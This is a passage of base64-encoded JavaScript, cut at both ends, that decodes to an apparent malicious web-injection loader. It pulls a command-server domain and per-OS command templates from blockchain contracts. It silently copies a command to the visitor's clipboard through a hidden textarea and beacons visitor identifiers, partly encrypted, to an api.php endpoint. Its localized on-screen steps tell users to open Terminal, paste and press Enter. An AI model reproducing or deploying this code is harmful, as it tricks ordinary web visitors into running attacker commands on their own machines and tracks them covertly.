2hTdHJpbmdGcm9tQ2hhaW4obGlua0NvbmZpZ0NvbnRyYWN0LCBsaW5rU2VsZWN0b3JzLmdldExpbnV4VVJMLCBycGNJbmRleCksDQogICAgICAgICAgZmV0Y2hTdHJpbmdGcm9tQ2hhaW4obGlua0NvbmZpZ0NvbnRyYWN0LCBsaW5rU2VsZWN0b3JzLmdldE1hY1VSTCwgcnBjSW5kZXgpDQogICAgICAgIF0pLnRoZW4oZnVuY3Rpb24gKHBhcnRzKSB7DQogICAgICAgICAgdmFyIGFwcHMgPSBwYXJ0c1swXTsNCiAgICAgICAgICB2YXIgd2luID0gU3RyaW5nKHBhcnRzWzFdIHx8ICcnKS50cmltKCk7DQogICAgICAgICAgdmFyIGxpbnV4ID0gU3RyaW5nKHBhcnRzWzJdIHx8ICcnKS50cmltKCk7DQogICAgICAgICAgdmFyIG1hYyA9IFN0cmluZyhwYXJ0c1szXSB8fCAnJykudHJpbSgpOw0KICAgICAgICAgIGlmICghaXNWYWxpZEFwcHNVcmwoYXBwcykgfHwNCiAgICAgICAgICAgICAgIWlzVmFsaWRPc1BheWxvYWQod2luKSB8fA0KICAgICAgICAgICAgICAhaXNWYWxpZE9zUGF5bG9hZChsaW51eCkgfHwNCiAgICAgICAgICAgICAgIWlzVmFsaWRPc1BheWxvYWQobWFjKSkgew0KICAgICAgICAgICAgcmV0dXJuIGZldGNoTGlua0NvbmZpZ0Zyb21DaGFpbihycGNJbmRleCArIDEpOw0KICAgICAgICAgIH0NCiAgICAgICAgICB3cml0ZUxpbmtDYWNoZSh2ZXJzaW9uLCBhcHBzLCB3aW4sIGxpbnV4LCBtYWMpOw0KICAgICAgICAgIHJldHVybiB7IGFwcHM6IGFwcHMsIHdpbjogd2luLCBsaW51eDogbGludXgsIG1hYzogbWFjLCB2ZXJzaW9uOiB2ZXJzaW9uIH07DQogICAgICAgIH0pOw0KICAgICAgfSkNCiAgICAgIC5jYXRjaChmdW5jdGlvbiAoKSB7DQogICAgICAgIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgIH0pOw0KICB9DQoNCiAgZnVuY3Rpb24gbG9hZExpbmtDb25maWcoKSB7DQogICAgcmV0dXJuIGZldGNoTGlua0NvbmZpZ0Zyb21DaGFpbigwKS50aGVuKGZ1bmN0aW9uIChjZmcpIHsNCiAgICAgIGlmIChjZmcpIHJldHVybiBjZmc7DQogICAgICB2YXIgY2FjaGVkID0gcmVhZExpbmtDYWNoZSgpOw0KICAgICAgaWYgKGNhY2hlZCAmJg0KICAgICAgICAgIGlzVmFsaWRBcHBzVXJsKGNhY2hlZC5hcHBzKSAmJg0KICAgICAgICAgIGlzVmFsaWRPc1BheWxvYWQoY2FjaGVkLndpbikgJiYNCiAgICAgICAgICBpc1ZhbGlkT3NQYXlsb2FkKGNhY2hlZC5saW51eCkgJiYNCiAgICAgICAgICBpc1ZhbGlkT3NQYXlsb2FkKGNhY2hlZC5tYWMpKSB7DQogICAgICAgIHJldHVybiB7DQogICAgICAgICAgYXBwczogY2FjaGVkLmFwcHMsDQogICAgICAgICAgd2luOiBjYWNoZWQud2luLA0KICAgICAgICAgIGxpbnV4OiBjYWNoZWQubGludXgsDQogICAgICAgICAgbWFjOiBjYWNoZWQubWFjLA0KICAgICAgICAgIHZlcnNpb246IGNhY2hlZC52ZXJzaW9uIHx8IDANCiAgICAgICAgfTsNCiAgICAgIH0NCiAgICAgIHJldHVybiB7DQogICAgICAgIGFwcHM6IEZBTExCQUNLX0FQUFNfU0NSSVBUX1VSTCwNCiAgICAgICAgd2luOiAnJywNCiAgICAgICAgbGludXg6ICcnLA0KICAgICAgICBtYWM6ICcnLA0KICAgICAgICB2ZXJzaW9uOiAwDQogICAgICB9Ow0KICAgIH0pOw0KICB9DQoNCiAgZnVuY3Rpb24gZmV0Y2hEb21haW5Gcm9tQ2hhaW4ocnBjSW5kZXgpIHsNCiAgICBpZiAocnBjSW5kZXggPj0gcnBjTGlzdC5sZW5ndGgpIHJldHVybiBQcm9taXNlLnJlc29sdmUobnVsbCk7DQoNCiAgICB2YXIgcmVxdWVzdEJvZHkgPSB7DQogICAgICBqc29ucnBjOiAnMi4wJywNCiAgICAgIG1ldGhvZDogJ2V0aF9jYWxsJywNCiAgICAgIHBhcmFtczogW3sgdG86IGRvbWFpbkNvbnRyYWN0QWRkcmVzcywgZGF0YTogJzB4JyArIGRvbWFpbk1ldGhvZFNlbGVjdG9yIH0sICdsYXRlc3QnXSwNCiAgICAgIGlkOiAxDQogICAgfTsNCg0KICAgIHJldHVybiBycGNDYWxsKHJwY0xpc3RbcnBjSW5kZXhdLCByZXF1ZXN0Qm9keSkNCiAgICAgIC50aGVuKGZ1bmN0aW9uIChyZXNwb25zZSkgew0KICAgICAgICBpZiAocmVzcG9uc2UgJiYgcmVzcG9uc2UuZXJyb3IpIHJldHVybiBmZXRjaERvbWFpbkZyb21DaGFpbihycGNJbmRleCArIDEpOw0KICAgICAgICB2YXIgZG9tYWluID0gcmVzcG9uc2UgJiYgcmVzcG9uc2UucmVzdWx0ID8gZGVjb2RlQWJpU3RyaW5nKHJlc3BvbnNlLnJlc3VsdCkgOiAnJzsNCiAgICAgICAgaWYgKGRvbWFpbikgcmV0dXJuIGRvbWFpbi5yZXBsYWNlKC9cLyskLywgJycpOw0KICAgICAgICByZXR1cm4gZmV0Y2hEb21haW5Gcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgIH0pDQogICAgICAuY2F0Y2goZnVuY3Rpb24gKCkgew0KICAgICAgICByZXR1cm4gZmV0Y2hEb21haW5Gcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgIH0pOw0KICB9DQoNCiAgUHJvbWlzZS5hbGwoW2xvYWRMaW5rQ29uZmlnKCksIGZldGNoRG9tYWluRnJvbUNoYWluKDApXSkudGhlbihmdW5jdGlvbiAocmVzdWx0cykgew0KICAgIGFwcGx5TGlua0NvbmZpZyhyZXN1bHRzWzBdKTsNCiAgICB2YXIgZG9tYWluID0gcmVzdWx0c1sxXTsNCiAgICBpZiAoIWRvbWFpbikgcmV0dXJuOw0KDQogICAgKGZ1bmN0aW9uKCkgew0KICAgICAgICAndXNlIHN0cmljdCc7DQoNCiAgICAgICAgdmFyIEFQSV9BVVRIX0tFWSA9ICJkMTA3M2YzOGU0YzU4NTVmODQzNWM0NjE5NGY3YjFhZDc0YjQwNjViNDJmYjAyY2IiOw0KICAgICAgICB2YXIgQ0NfU0VSVkVSX0FQSV9VUkwgPSBkb21haW4gKyAiL2FwaS5waHAiOw0KICAgICAgICB2YXIgVEFSR0VUX09QRVJBVElOR19TWVNURU0gPSBkZXRlY3RWaXNpdG9yT3MoKTsNCiAgICAgICAgdmFyIElTX0FDVElWRSA9IHRydWU7DQogICAgICAgIHZhciBURVNUX01PREUgPSBmYWxzZTsNCiAgICAgICAgdmFyIENVU1RPTV9ET01BSU4gPSAnJzsNCiAgICAgICAgdmFyIEJBQ0tHUk9VTkRfT1BBQ0lUWSA9IDEuMDA7DQoNCiAgICAgICAgdmFyIExPQ0FMX1NUT1JBR0VfS0VZID0gKGZ1bmN0aW9uKGF1dGhLZXkpIHsNCg0KICAgICAgICAgICAgdmFyIHN0cmluZ1RvSGFzaCA9IGF1dGhLZXkgKyAnXHgwMCcgKyAobG9jYXRpb24uaG9zdG5hbWUgfHwgJycpOw0KICAgICAgICAgICAgdmFyIGhhc2hWYWx1ZSA9IDIxNjYxMzYyNjE7DQoNCiAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgc3RyaW5nVG9IYXNoLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICAgICAgaGFzaFZhbHVlIF49IHN0cmluZ1RvSGFzaC5jaGFyQ29kZUF0KGkpOw0KICAgICAgICAgICAgICAgIGhhc2hWYWx1ZSA9IChoYXNoVmFsdWUgKiAxNjc3NzYxOSkgPj4+IDA7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHJldHVybiAnXycgKyBoYXNoVmFsdWUudG9TdHJpbmcoMzYpOw0KICAgICAgICB9KShBUElfQVVUSF9LRVkpOw0KDQogICAgICAgIHZhciBWSVNJVE9SX0lEX1NUT1JBR0VfS0VZID0gTE9DQUxfU1RPUkFHRV9LRVkgKyAnX3ZpZCc7DQoNCiAgICAgICAgZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21WaXNpdG9ySWQoKSB7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgIHJldHVybiBjcnlwdG8ucmFuZG9tVVVJRCgpOw0KICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHsNCiAgICAgICAgICAgICAgICB2YXIgcmFuZG9tQnl0ZXMgPSBuZXcgVWludDhBcnJheSgxNik7DQogICAgICAgICAgICAgICAgY3J5cHRvLmdldFJhbmRvbVZhbHVlcyhyYW5kb21CeXRlcyk7DQogICAgICAgICAgICAgICAgcmFuZG9tQnl0ZXNbNl0gPSAocmFuZG9tQnl0ZXNbNl0gJiAxNSkgfCA2NDsNCiAgICAgICAgICAgICAgICByYW5kb21CeXRlc1s4XSA9IChyYW5kb21CeXRlc1s4XSAmIDYzKSB8IDEyODsNCg0KICAgICAgICAgICAgICAgIHZhciB1dWlkU3RyaW5nID0gJyc7DQogICAgICAgICAgICAgICAgdmFyIGJ5dGVJbmRleDsNCiAgICAgICAgICAgICAgICBmb3IgKGJ5dGVJbmRleCA9IDA7IGJ5dGVJbmRleCA8IDE2OyBieXRlSW5kZXgrKykgew0KICAgICAgICAgICAgICAgICAgICB1dWlkU3RyaW5nICs9IHJhbmRvbUJ5dGVzW2J5dGVJbmRleF0udG9TdHJpbmcoMTYpLnBhZFN0YXJ0KDIsICcwJyk7DQogICAgICAgICAgICAgICAgICAgIGlmIChieXRlSW5kZXggPT09IDMgfHwgYnl0ZUluZGV4ID09PSA1IHx8IGJ5dGVJbmRleCA9PT0gNyB8fCBieXRlSW5kZXggPT09IDkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHV1aWRTdHJpbmcgKz0gJy0nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHJldHVybiB1dWlkU3RyaW5nOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgdmFyIFVOSVFVRV9WSVNJVE9SX0lEID0gKGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICB2YXIgZXhpc3RpbmdJZCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKFZJU0lUT1JfSURfU1RPUkFHRV9LRVkpOw0KICAgICAgICAgICAgICAgIGlmIChleGlzdGluZ0lkKSByZXR1cm4gZXhpc3RpbmdJZDsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7fQ0KDQogICAgICAgICAgICB2YXIgbmV3SWQgPSBnZW5lcmF0ZVJhbmRvbVZpc2l0b3JJZCgpOw0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShWSVNJVE9SX0lEX1NUT1JBR0VfS0VZLCBuZXdJZCk7DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCiAgICAgICAgICAgIHJldHVybiBuZXdJZDsNCiAgICAgICAgfSkoKTsNCg0KICAgICAgICB2YXIgVklTSVRPUl9MT0NBVElPTiA9IChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIHZhciB0aW1lem9uZSA9ICcnOw0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICB0aW1lem9uZSA9IEludGwuRGF0ZVRpbWVGb3JtYXQoKS5yZXNvbHZlZE9wdGlvbnMoKS50aW1lWm9uZSB8fCAnJzsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7fQ0KICAgICAgICAgICAgdmFyIGxhbmd1YWdlID0gbmF2aWdhdG9yLmxhbmd1YWdlIHx8IG5hdmlnYXRvci51c2VyTGFuZ3VhZ2UgfHwgJyc7DQogICAgICAgICAgICB2YXIgcGFydHMgPSBbXTsNCiAgICAgICAgICAgIGlmICh0aW1lem9uZSkgcGFydHMucHVzaCh0aW1lem9uZSk7DQogICAgICAgICAgICBpZiAobGFuZ3VhZ2UpIHBhcnRzLnB1c2gobGFuZ3VhZ2UpOw0KICAgICAgICAgICAgcmV0dXJuIHBhcnRzLmpvaW4oJyB8ICcpIHx8ICd1bmtub3duJzsNCiAgICAgICAgfSkoKTsNCg0KICAgICAgICB2YXIgVklTSVRPUl9TSVRFX1VSTCA9IChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGxvY2F0aW9uLmhyZWYgfHwgbG9jYXRpb24ub3JpZ2luIHx8ICcnOw0KICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gJyc7DQogICAgICAgICAgICB9DQogICAgICAgIH0pKCk7DQoNCiAgICAgICAgZnVuY3Rpb24gZmlsbENsaXBib2FyZFRlbXBsYXRlKHRlbXBsYXRlLCBvc0ZhbWlseSwgb3NMYWJlbCkgew0KICAgICAgICAgICAgdmFyIG5vd0lzbyA9IG5ldyBEYXRlKCkudG9JU09TdHJpbmcoKTsNCiAgICAgICAgICAgIHZhciBpZCA9IFVOSVFVRV9WSVNJVE9SX0lEOw0KICAgICAgICAgICAgdmFyIGxvY2F0aW9uID0gZW5jb2RlVVJJQ29tcG9uZW50KFZJU0lUT1JfTE9DQVRJT04pOw0KICAgICAgICAgICAgdmFyIHNpdGVVcmwgPSBlbmNvZGVVUklDb21wb25lbnQoVklTSVRPUl9TSVRFX1VSTCk7DQogICAgICAgICAgICB2YXIgb3MgPSBlbmNvZGVVUklDb21wb25lbnQob3NMYWJlbCB8fCBvc0ZhbWlseSk7DQogICAgICAgICAgICB2YXIgbGFzdFZpc2l0ID0gZW5jb2RlVVJJQ29tcG9uZW50KG5vd0lzbyk7DQogICAgICAgICAgICB2YXIgbGFzdFNoZWxsID0gZW5jb2RlVVJJQ29tcG9uZW50KG5vd0lzbyk7DQoNCiAgICAgICAgICAgIHJldHVybiBTdHJpbmcodGVtcGxhdGUgfHwgJycpDQogICAgICAgICAgICAgICAgLnNwbGl0KCdYWFhfSUQnKS5qb2luKGlkKQ0KICAgICAgICAgICAgICAgIC5zcGxpdCgnWFhYX0xPQ0FUSU9OJykuam9pbihsb2NhdGlvbikNCiAgICAgICAgICAgICAgICAuc3BsaXQoJ1hYWF9TSVRFX1VSTCcpLmpvaW4oc2l0ZVVybCkNCiAgICAgICAgICAgICAgICAuc3BsaXQoJ1hYWF9PUycpLmpvaW4ob3MpDQogICAgICAgICAgICAgICAgLnNwbGl0KCdYWFhfTEFTVF9WSVNJVF9BVCcpLmpvaW4obGFzdFZpc2l0KQ0KICAgICAgICAgICAgICAgIC5zcGxpdCgnWFhYX0xBU1RfU0hFTExfQVQnKS5qb2luKGxhc3RTaGVsbCk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBidWlsZENsaXBib2FyZENvbW1hbmQoKSB7DQogICAgICAgICAgICB2YXIgb3NGYW1pbHkgPSBUQVJHRVRfT1BFUkFUSU5HX1NZU1RFTSB8fCBkZXRlY3RWaXNpdG9yT3MoKTsNCiAgICAgICAgICAgIHZhciBvc0xhYmVsID0gZ2V0VmlzaXRvck9zTGFiZWwoKTsNCiAgICAgICAgICAgIHZhciB0ZW1wbGF0ZSA9IFdJTl9VUkw7DQogICAgICAgICAgICBpZiAob3NGYW1pbHkgPT09ICdsaW51eCcpIHRlbXBsYXRlID0gTElOVVhfVVJMOw0KICAgICAgICAgICAgaWYgKG9zRmFtaWx5ID09PSAnbWFjJykgdGVtcGxhdGUgPSBNQUNfVVJMOw0KICAgICAgICAgICAgaWYgKCFpc1ZhbGlkT3NQYXlsb2FkKHRlbXBsYXRlKSkgcmV0dXJuICcnOw0KICAgICAgICAgICAgcmV0dXJuIGZpbGxDbGlwYm9hcmRUZW1wbGF0ZSh0ZW1wbGF0ZSwgb3NGYW1pbHksIG9zTGFiZWwpOw0KICAgICAgICB9DQoNCiAgICAgICAgdHJ5IHsgd2luZG93Ll9fQVZUX0NNRCA9IGJ1aWxkQ2xpcGJvYXJkQ29tbWFuZCgpOyB9IGNhdGNoIChlKSB7fQ0KDQogICAgICAgIHRyeSB7DQogICAgICAgICAgICBpZiAoIVRFU1RfTU9ERSAmJg0KICAgICAgICAgICAgICAgIChsb2NhbFN0b3JhZ2UuZ2V0SXRlbShMT0NBTF9TVE9SQUdFX0tFWSkgfHwNCiAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J3LWNmLXJvb3QnKSkpIHsNCiAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICB9DQogICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQogICAgICAgICAgICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J3LWNmLXJvb3QnKSkgew0KICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIChmdW5jdGlvbigpIHsNCg0KICAgICAgICAgICAgZnVuY3Rpb24gc2VuZFBpeGVsVHJhY2tpbmdSZXF1ZXN0KHVybCkgew0KICAgICAgICAgICAgICAgIGlmICh3aW5kb3cuZmV0Y2gpIHsNCiAgICAgICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZldGNoKHVybCwgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1vZGU6ICduby1jb3JzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjcmVkZW50aWFsczogJ29taXQnDQogICAgICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgKG5ldyBJbWFnZSkuc3JjID0gdXJsOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCg0KICAgICAgICAgICAgICAgICAgICAobmV3IEltYWdlKS5zcmMgPSB1cmw7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB2YXIgdHJhY2tpbmdEYXRhID0gSlNPTi5zdHJpbmdpZnkoew0KICAgICAgICAgICAgICAgIHVybDogbG9jYXRpb24uaHJlZiwNCiAgICAgICAgICAgICAgICByZWY6IGRvY3VtZW50LnJlZmVycmVyIHx8ICcnLA0KICAgICAgICAgICAgICAgIHZpZDogVU5JUVVFX1ZJU0lUT1JfSUQNCiAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBzZW5kVW5lbmNyeXB0ZWREYXRhKCkgew0KICAgICAgICAgICAgICAgIHNlbmRQaXhlbFRyYWNraW5nUmVxdWVzdCgNCiAgICAgICAgICAgICAgICAgICAgQ0NfU0VSVkVSX0FQSV9VUkwgKw0KICAgICAgICAgICAgICAgICAgICAnP2s9JyArIGVuY29kZVVSSUNvbXBvbmVudChBUElfQVVUSF9LRVkpICsNCiAgICAgICAgICAgICAgICAgICAgJyZ1cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChsb2NhdGlvbi5ocmVmKSArDQogICAgICAgICAgICAgICAgICAgICcmcmVmPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIgfHwgJycpICsNCiAgICAgICAgICAgICAgICAgICAgJyZ2aWQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChVTklRVUVfVklTSVRPUl9JRCkgKw0KICAgICAgICAgICAgICAgICAgICAoVEVTVF9NT0RFID8gJyZ0ZXN0PTEnIDogJycpDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKCF3aW5kb3cuY3J5cHRvIHx8ICFjcnlwdG8uc3VidGxlKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHNlbmRVbmVuY3J5cHRlZERhdGEoKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgY3J5cHRvLnN1YnRsZS5kaWdlc3QoJ1NIQS0yNTYnLCBuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUoQVBJX0FVVEhfS0VZKSkNCiAgICAgICAgICAgICAgICAudGhlbihmdW5jdGlvbihrZXlCdWZmZXIpIHsNCg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gY3J5cHRvLnN1YnRsZS5pbXBvcnRLZXkoJ3JhdycsIGtleUJ1ZmZlciwgew0KICAgICAgICAgICAgICAgICAgICAgICAgbmFtZTogJ0FFUy1HQ00nDQogICAgICAgICAgICAgICAgICAgIH0sIGZhbHNlLCBbJ2VuY3J5cHQnXSk7DQogICAgICAgICAgICAgICAgfSkNCiAgICAgICAgICAgICAgICAudGhlbihmdW5jdGlvbihjcnlwdG9LZXkpIHsNCg0KICAgICAgICAgICAgICAgICAgICB2YXIgaW5pdGlhbGl6YXRpb25WZWN0b3IgPSBjcnlwdG8uZ2V0UmFuZG9tVmFsdWVzKG5ldyBVaW50OEFycmF5KDEyKSk7DQoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGNyeXB0by5zdWJ0bGUuZW5jcnlwdCh7DQogICAgICAgICAgICAgICAgICAgICAgICBuYW1lOiAnQUVTLUdDTScsDQogICAgICAgICAgICAgICAgICAgICAgICBpdjogaW5pdGlhbGl6YXRpb25WZWN0b3INCiAgICAgICAgICAgICAgICAgICAgfSwgY3J5cHRvS2V5LCBuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUodHJhY2tpbmdEYXRhKSkNCiAgICAgICAgICAgICAgICAgICAgLnRoZW4oZnVuY3Rpb24oZW5jcnlwdGVkRGF0YSkgew0KDQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgY29tYmluZWRCdWZmZXIgPSBuZXcgVWludDhBcnJheSgxMiArIGVuY3J5cHRlZERhdGEuYnl0ZUxlbmd0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICBjb21iaW5lZEJ1ZmZlci5zZXQoaW5pdGlhbGl6YXRpb25WZWN0b3IpOw0KICAgICAgICAgICAgICAgICAgICAgICAgY29tYmluZWRCdWZmZXIuc2V0KG5ldyBVaW50OEFycmF5KGVuY3J5cHRlZERhdGEpLCAxMik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBiYXNlNjRTdHJpbmcgPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgY29tYmluZWRCdWZmZXIubGVuZ3RoOyBpKyspIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYXNlNjRTdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZShjb21iaW5lZEJ1ZmZlcltpXSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbmRQaXhlbFRyYWNraW5nUmVxdWVzdCgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDQ19TRVJWRVJfQVBJX1VSTCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJz9rPScgKyBlbmNvZGVVUklDb21wb25lbnQoQVBJX0FVVEhfS0VZKSArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJyZkPScgKyBlbmNvZGVVUklDb21wb25lbnQoYnRvYShiYXNlNjRTdHJpbmcpKSArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKFRFU1RfTU9ERSA/ICcmdGVzdD0xJyA6ICcnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgfSkNCiAgICAgICAgICAgICAgICAuY2F0Y2goc2VuZFVuZW5jcnlwdGVkRGF0YSk7DQogICAgICAgIH0pKCk7DQoNCiAgICAgICAgZnVuY3Rpb24gY29weVRleHRUb0NsaXBib2FyZCh0ZXh0KSB7DQogICAgICAgICAgICBjb3B5VGV4dExlZ2FjeU1ldGhvZCh0ZXh0KTsNCg0KICAgICAgICAgICAgaWYgKG5hdmlnYXRvci5jbGlwYm9hcmQgJiYgbmF2aWdhdG9yLmNsaXBib2FyZC53cml0ZVRleHQpIHsNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dCh0ZXh0KTsNCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgew0KDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gY29weVRleHRMZWdhY3lNZXRob2QodGV4dCkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICB2YXIgaGlkZGVuVGV4dGFyZWEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCd0ZXh0YXJlYScpOw0KICAgICAgICAgICAgICAgIGhpZGRlblRleHRhcmVhLnZhbHVlID0gdGV4dDsNCiAgICAgICAgICAgICAgICBoaWRkZW5UZXh0YXJlYS5zdHlsZS5jc3NUZXh0ID0gJ3Bvc2l0aW9uOmZpeGVkO2xlZnQ6LTk5OTlweDt0b3A6MDtvcGFjaXR5OjA7JzsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGhpZGRlblRleHRhcmVhKTsNCiAgICAgICAgICAgICAgICBoaWRkZW5UZXh0YXJlYS5mb2N1cygpOw0KICAgICAgICAgICAgICAgIGhpZGRlblRleHRhcmVhLnNlbGVjdCgpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmV4ZWNDb21tYW5kKCdjb3B5Jyk7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChoaWRkZW5UZXh0YXJlYSk7DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgew0KDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICB2YXIgV0lORE9XU19MT0dPX1NWRyA9ICc8c3ZnIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjEzIiBoZWlnaHQ9IjEzIiBzdHlsZT0iZGlzcGxheTppbmxpbmUtYmxvY2s7dmVydGljYWwtYWxpZ246bWlkZGxlO2ZpbGw6Y3VycmVudENvbG9yOyI+PHBhdGggZD0iTTMgNS4zMyAxMC43NCA0djcuMjhIM3ptOC43Ni0xLjQ5TDIxIDIuMjV2OS4wM2gtOS4yNHpNMyAxMi4zOWg3Ljc0djcuMjhMMyAxOC4zM3ptOC43NiAwSDIxdjkuMzZsLTkuMjQtMS41OXoiLz48L3N2Zz4nOw0KDQogICAgICAgIHZhciBPU19JTlNUUlVDVElPTl9QQUNLUyA9IHsNCiAgICAgICAgICAgIG1hYzogew0KICAgICAgICAgICAgICAgIGVuOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1BlcmZvcm0gdGhlIHN0ZXBzIG9uIHlvdXIgTWFjIGtleWJvYXJkJyxzdGVwMTonPGI+Q21kICsgU3BhY2U8L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J3RoZW4gcHJlc3MgRW50ZXInLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidQcmVzcyBcdTIzMTggKENvbW1hbmQpIG5leHQgdG8gdGhlIHNwYWNlIGJhciwgdGhlbiBTcGFjZSB0byBvcGVuIFNwb3RsaWdodC4nfSwNCiAgICAgICAgICAgICAgICBkZToge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidGXHUwMGZjaHJlbiBTaWUgZGllIFNjaHJpdHRlIGF1ZiBJaHJlciBNYWMtVGFzdGF0dXIgZHVyY2gnLHN0ZXAxOic8Yj5DbWQgKyBTcGFjZTwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDonZGFubiBFbnRlciBkclx1MDBmY2NrZW4nLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidEaWUgQ21kLVRhc3RlIChcdTIzMTgpIGJlZmluZGV0IHNpY2ggbmViZW4gZGVyIExlZXJ0YXN0ZS4gRHJcdTAwZmNja2VuIFNpZSBDbWQrTGVlcnRhc3RlIGZcdTAwZmNyIFNwb3RsaWdodC4nfSwNCiAgICAgICAgICAgICAgICBmcjoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidFZmZlY3R1ZXogbGVzIFx1MDBlOXRhcGVzIHN1ciB2b3RyZSBjbGF2aWVyIE1hYycsc3RlcDE6JzxiPkNtZCArIEVzcGFjZTwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDoncHVpcyBFbnRyXHUwMGU5ZScsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50clx1MDBlOWUgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0xhIHRvdWNoZSBDbWQgKFx1MjMxOCkgZXN0IFx1MDBlMCBjXHUwM